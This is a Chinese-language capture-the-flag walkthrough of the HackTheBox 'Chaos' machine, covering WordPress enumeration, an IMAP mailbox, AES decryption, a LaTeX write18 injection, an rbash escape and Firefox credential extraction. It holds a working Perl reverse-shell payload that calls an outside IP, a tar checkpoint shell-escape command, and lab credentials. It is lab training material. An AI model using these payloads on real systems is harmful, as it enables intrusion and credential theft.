1.端口信息,通過nmap掃描废恋,發(fā)現(xiàn)Chaos開放6個端口谈秫,主要有web及郵件服務。
端口信息
2.web服務目錄爆破鱼鼓,利用Gobuster對80端口的web服務進行發(fā)現(xiàn)拟烫。能夠在以下路徑找到wordpress:
http://10.10.10.120/wp/wordpress
image.png
3.wpscan枚舉用戶,探測發(fā)現(xiàn)當前只有human一個用戶在wordpress環(huán)境中:
wpscan --stealthy --url http://10.10.10.120/wp/wordpress/ --enumerate
enumerate
利用human用戶名可以訪問一篇加密博客迄本,獲取webmail的登錄賬戶:
username:ayush
password:jiujitsu (這個密碼決定了之后的所有步驟...)
webmail
4.登錄webmail硕淑,因為郵件服務器不運行非加密的連接請求,所以必須使用openssl連接岸梨。在草稿箱內可以找到一封包含附件的郵件喜颁,附件包含一段密文、一個加密腳本及一個密鑰曹阔。
連接服務:openssl s_client -connect chaos.htb:143 -starttls imap
查看郵箱:tag LIST "" "*" (包含草稿半开、發(fā)信、收件)
選擇草稿箱:tag SELECT Drafts
選擇郵件:tag FETCH 1 (BODY)
查看郵件:tag FETCH 1 BODY.PEEK[]
郵件原文
5.破譯密文赃份,郵件中包含3個關鍵部分寂拆。首先提到用戶sahay就是密碼奢米,其次給了一段名為enim_msg.txt的密文,最后是en.py的加密腳本纠永。經過base64解碼后鬓长,腳本的邏輯如下:
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
不難看出getkey生成了最初的密鑰,輸入?yún)?shù)password就是郵件中提到的sahay尝江。encrypt采用AES CBC加密算法涉波,初始向量IV采用16位隨機字符串。base64解碼后的密文enim_msg.txt炭序,文本長度為272啤覆,剛好可以整除16,272/16=17惭聂,因此可以確定CBC分組長度為16窗声。根據(jù)AES標準,密文前16位為IV初始向量辜纲,即:
IV = 0000000000000234
IV
響應的解密函數(shù)及明文如下:
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlify
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
if __name__=="__main__":
chunksize = 64*1024
mkey = getKey("sahay")
mIV = (b"0000000000000234")
decipher = AES.new(mkey,AES.MODE_CBC,mIV)
with open("demsg.txt", 'rb') as infile:
chunk = infile.read(chunksize)
plaintext = decipher.decrypt(chunk)
print plaintext
注意解密后笨觅,明文為base64編碼,前16位IV應該除去耕腾,剩余字符串可正常解碼:
明文
6.LaTeX攻擊见剩,根據(jù)提示,在/etc/hosts文件中添加對應的域名幽邓,訪問指定路徑后會看到一個pdf生成器炮温,是典型的LaTeX攻擊火脉。網頁提示只有一個模板可以被使用牵舵,嘗試后發(fā)現(xiàn)是test3模板,輸入正文并點擊生成按鈕后倦挂,網頁并不會有直接的提示畸颅,需要啟用開發(fā)者模式獲得結果,生成的pdf在路徑http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/方援。攻擊的原理及介紹請參考:https://0day.work/hacking-with-latex/
pdfTeX, Version 3.14159265-2.6-1.40.19
這里直接給出反彈POC:
\immediate\write18{perl -e 'use Socket;$i="10.10.16.49";$p=6666;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}
7.獲取user.txt没炒。在獲取一個www-data權限的shell后,可以利用ayush的密碼jiujitsu切換至ayush的會話中犯戏,但這是一個rbash送火,環(huán)境變量被設置在/home/ayush/.app中,拒絕了絕大多數(shù)的命令先匪,經過嘗試dir可以正常執(zhí)行种吸,在.app目錄中有tar,這可以用來逃逸rbash限制呀非。
逃逸POC:tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
獲得正常bash后坚俗,添加環(huán)境變量export PATH=$PATH:/usr/bin/镜盯,打印出user.txt。
獲取user.txt
8.獲取root.txt猖败。在/home/ayush目錄中發(fā)現(xiàn)速缆,該用戶安裝有mozilla firefox。檢查key4.db及cert9.db恩闻,發(fā)現(xiàn)文件體積均大于默認安裝后的大小艺糜,懷疑可能保存有用戶登錄憑據(jù)。firefox_decrypt可用于提取緩存憑據(jù)幢尚,項目地址如下:
https://github.com/unode/firefox_decrypt
上傳運行后倦踢,firefox_decrypt.py會要求輸入解密用的主密鑰,而這個密鑰正是jiujitsu侠草,提取的root密碼為:jiujitsu辱挥。利用該密碼su至root權限獲取旗標。
root
root@chaos:~# cat root.txt
cat root.txt
4eca7e09e3520e020884563cfbabbc70